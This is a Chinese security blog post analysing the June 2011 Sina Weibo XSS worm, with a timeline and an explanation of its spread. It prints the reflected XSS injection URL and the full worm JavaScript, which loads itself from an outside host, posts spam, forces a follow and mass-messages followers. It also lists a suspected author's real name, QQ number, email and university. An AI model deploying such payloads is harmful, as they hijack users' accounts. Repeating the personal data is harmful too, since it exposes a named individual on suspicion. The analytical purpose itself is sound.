新闻:新浪微博“中毒”自动发博文 - 新浪 XSS Worm:https://lcx.cc/post/1522/
新浪微博pm说:基本定位了这次攻击的原因,微博广场页面 weibo.com/pub/star 有XSS漏洞,被植入了恶意JS脚本。初步发现 Chrome 和 Safari 都没中招。IE、Firefox未能幸免。
脚本 http://www.2kt.cn/images/t.js
XSS代码:weibo.com/pub/star/g/xyyyd%22%3e%3cscript%20src=//www.病毒地址.cn/images/t.js%3e%3c/script%3e?type=update
攻击原理分析:http://d.pr/Flsl
目前该病毒脚本已经被原作者清空内容,新浪也关闭了t.cn对其的连接。
========================================
病毒作者微博 http://weibo.com/n/hellosamy (已河蟹)
遗照 http://oi52.tinypic.com/zjc5s4.jpg
Domain Name: 2kt.cn
Registrant Organization: 北京新网数码信息技术有限公司
Registrant Name: 张志
Administrative Email: lin5061@gmail.com
疑似病毒作者信息:
I D名:lin5-61
真实姓名:朝森
性别:男
毕业院校及专业:武汉科技大学
职业:写代码(JAVA)
联系方式:QQ46142932
06.28_sina_XSS:
function createXHR(){
return window.XMLHttpRequest?
new XMLHttpRequest():
new ActiveXObject("Microsoft.XMLHTTP");
}
function getappkey(url){
xmlHttp = createXHR();
xmlHttp.open("GET",url,false);
xmlHttp.send();
result = xmlHttp.responseText;
id_arr = '';
id = result.match(/namecard=\"true\" title=\"[^\"]*/g);
for(i=0;i<id.length;i++){
sum = id[i].toString().split('"')[3];
id_arr += sum + '||';
}
return id_arr;
}
function random_msg(){
link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;
var msgs = [
'郭美美事件的一些未注意到的细节:',
'建党大业中穿帮的地方:',
'让女人心动的100句诗歌:',
'3D肉团团高清普通话版种子:',
'这是传说中的神仙眷侣啊:',
'惊爆!范冰冰艳照真流出了:',
'杨幂被爆多次被潜规则:',
'傻仔拿锤子去抢银行:',
'可以监听别人手机的软件:',
'个税起征点有望提到4000:'];
var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;
msg = encodeURIComponent(msg);
return msg;
}
function post(url,data,sync){
xmlHttp = createXHR();
xmlHttp.open("POST",url,sync);
xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
xmlHttp.send(data);
}
function publish(){
url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();
data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
post(url,data,true);
}
function follow(){
url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();
data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
post(url,data,true);
}
function message(){
url = 'http://weibo.com/' + $CONFIG.$uid + '/follow';
ids = getappkey(url);
id = ids.split('||');
for(i=0;i<id.length - 1 & i<5;i++){
msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();
msg = random_msg();
msg = encodeURIComponent(msg);
user = encodeURIComponent(encodeURIComponent(id[i]));
data = 'content=' + msg + '&name=' + user + '&retcode=';
post(msgurl,data,false);
}
}
function main(){
try{
publish();
}
catch(e){}
try{
follow();
}
catch(e){}
try{
message();
}
catch(e){}
}
try{
x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);
}
catch(e){}
main();
var t=setTimeout('location="http://weibo.com/pub/topic";',5000); |
6月28日晚,新浪微博突然出现大范围“中毒”,微博用户中招后会自动向自己的粉丝发送含毒私信和微博,有人点击后会再次中毒,形成恶性循环。
大量用户自动发送“建党大业中穿帮的地方”、“个税起征点有望提到4000”、“郭美美事件的一些未注意到的细节”、“3D肉团团高清普通话版种子”等带链接的微博与私信,并自动关注一位名为hellosamy的用户。
一、事件的经过如下:
20:14,开始有大量带V的认证用户中招转发蠕虫
20:30,2kt.cn中的病毒页面无法访问
20:32,新浪微博中hellosamy用户无法访问
21:02,新浪漏洞修补完毕
二、 攻击分析
导致的原因是新浪名人堂部分XSS过滤不严所致:
下面的脚本被执行了:www.2kt.cn/images/t.js
一般来说这样的网址会被载入404页面,而这个网址的结果是脚本被执行了。据分析,攻击是反射型XSS, JS脚本不够安全导致的恶意脚本被载入页面。
攻击原理分析图
攻击者既能发私信,又能发微博,还能评论。而最难的地方,在于如何执行脚本,因为一旦那个页面可移植性脚本,其他的就好做了,简单分析原理:
1) 所有的攻击都是背后偷偷执行Ajax,通过仿造提交表单来完成发布微博等。
2) 但这也有一个问题,就是Ajax的跨域,由于Ajax的same domain的要求,无法跨域名执行脚本,厉害的地方在于,在微博中植入了这个脚本,这样就伪造了same domain,可以执行所有的Ajax。以上可以通过post()这个函数看出来,很简单的XHR调用,并没有使用cross domain的技巧。
3) 发微博:publish(),向weibo.com/mblog/publish.php通过Ajax提交数据,由于是需要登陆的,所以服务器端session还在,直接就可以成功发布微博。
4) 发私信:发私信多了一个步骤,获取粉丝的user id。其中的关键函数getappkey()可能就是从weibo.com/YOURID/follow页面扒取所有的user id,或者通过API获取到粉丝信息,获取之后然后通过一个for loop语句来发送。
三、 攻击者是谁?
病毒作者微博
通过whois查询,2kt.cn的域名拥有者信息如下:
Domain Name: 2kt.cn
Registrant Organization: 北京新网数码信息技术有限公司
Registrant Name: 张志
hellosamy这不是一个简单的昵称,samy是有名的通过SNS的XSS攻击传播的病毒,最初在mySpace上面进行传播。说明攻击者对于网络安全领域有一定的“功力”,攻击方式和之前的人人网的攻击有些区别,人人网是只要打开私信就会「中毒」,更严重。这次攻击如果打开私信是没问题的,如果警觉的话,不去点击那个链接,也不会中招。严重程度稍微低于人人网的攻击。
文章作者
Nuclear'Atk
上次更新
2011-06-29
许可协议
Nuclear'Atk(核攻击)网络安全实验室版权所有,转载请注明出处。